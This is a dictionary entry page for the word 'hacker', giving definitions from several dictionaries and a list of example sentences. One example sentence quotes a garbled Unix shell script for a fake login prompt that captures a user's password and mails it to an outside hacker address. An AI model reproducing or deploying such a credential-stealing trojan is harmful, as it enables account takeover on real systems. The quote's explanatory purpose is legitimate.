from The American Heritage® Dictionary of the English Language, 4th Edition
- n. Informal One who is proficient at using or programming a computer; a computer buff.
- n. Informal One who uses programming skills to gain illegal access to a computer network or file.
- n. Informal One who enthusiastically pursues a game or sport: a weekend tennis hacker.
- n. See hackie.
from Wiktionary, Creative Commons Attribution/Share-Alike License
- n. Something which hacks, a tool or device for hacking.
- n. Someone who hacks.
- n. one who is expert at programming and solving problems with a computer
- n. one who uses a computer to gain unauthorized access to data.
- n. a computer security professional
- n. one who is inexperienced or unskilled at a particular activity, especially a sport such as golf or tennis.
- n. one who operates a taxicab
from the GNU version of the Collaborative International Dictionary of English
- n. One who, or that which, hacks.
from The Century Dictionary and Cyclopedia
- n. A tool used for making incisions in trees as channels for the passage of the sap; a hack.
- Same as hack, 4.
from WordNet 3.0 Copyright 2006 by Princeton University. All rights reserved.
- n. a programmer for whom computing is its own reward; may enjoy the challenge of breaking into other computers but does no harm
- n. a programmer who breaks into computer systems in order to steal or change or destroy information as a form of cyber-terrorism
- n. one who works hard at boring tasks
- n. someone who plays golf poorly
A hacker could quickly install a login process like the one described by Morris and Grampp (7): echo - n "login:" read X stty - echo echo - n "password:" read Y echo "" stty echo echo % X%Y | mail outside | hacker& sleep 1 echo Login incorrect stty 0/dev/tty We see that the password of the root user is mailed to the hacker who has completely compromised the Unix system.
Once synonymous with criminals and anarchists, the term hacker now also refers to the good guys in cyberspace, those who have the same skills the bad guys do, only different intentions.
If you really feel the need, explain the term hacker, or point them to the Wikipedia entry on the term.
The word "hacker" has an unfairly negative connotation from being portrayed in the media as people who break into computers.
I believe I know who the hacker is and it is clear that they have connections to the Liberal Democrats.
Be prepared for an argument; your hacker is a rational entity, and presumably had reasons.
"The word 'hacker' has an unfairly negative connotation from being portrayed in the media as people who break into computers," Zuckerberg wrote.
It’s a shame that the media still uses the term hacker when they should be using the term cracker.
It appears their only motive was to show it could be done, and bask in hacker glory at having had the skills to do it.
Unless the hacker is sitting at her computer, I doubt it.